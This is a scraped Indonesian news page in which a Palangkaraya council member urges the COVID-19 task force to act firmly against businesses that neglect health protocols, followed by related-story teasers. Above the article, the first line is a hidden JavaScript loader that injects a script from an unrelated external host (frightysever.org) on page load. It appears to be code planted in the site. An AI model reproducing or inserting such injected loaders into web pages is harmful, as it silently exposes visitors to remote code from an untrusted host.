(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PALANGKARAYA – Menyikapi masih banyaknya para pelaku usaha yang mulai lalai menerapkan protokol kesehatan (prokes) sehingga kedisiplinan menjalankan prokes turun.
Tim Satgas diminta tidak pandang bulu terhadap para pelaku usaha yang melanggar Instruksi Menteri Dalam Negeri (Inmendagri) Nomor 65 Tahun 2021.
“Kami mendukung dunia usaha untuk kembali bangkit. Hanya saja protokol kesehatan Covid-19 penting untuk diterapkan dalam beraktivitas,” ujar Wakil Ketua I Komisi C DPRD Palangkaraya, M Hasan Busyairi.
Menurut politikus Partai Golkar Palangkaraya ini, bagi para pelaku usaha yang sejauh ini oleh tim Satgas sudah diberi teguran lisan dan teguran tertulis. Ternyata masih melakukan pelanggaran dan perlu ditindak tegas tanpa pandang bulu.
Baca juga : “November Ceria Palnam Berdongeng” Bersama Kak Bimo
Walaupun saat ini sebaran Covid-19 sudah mulai bisa dikendalikan, tidak berarti abai terhadap prokes, sebaliknya bisa lebih ditingkatkan agar pandemi benar-benar cepat berlalu dan situasi serta kondisi bisa kembali pulih seperti sediakala. (kanalkalimantan.com/tri)
Reporter : tri
Editor : kk
KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More
This website uses cookies.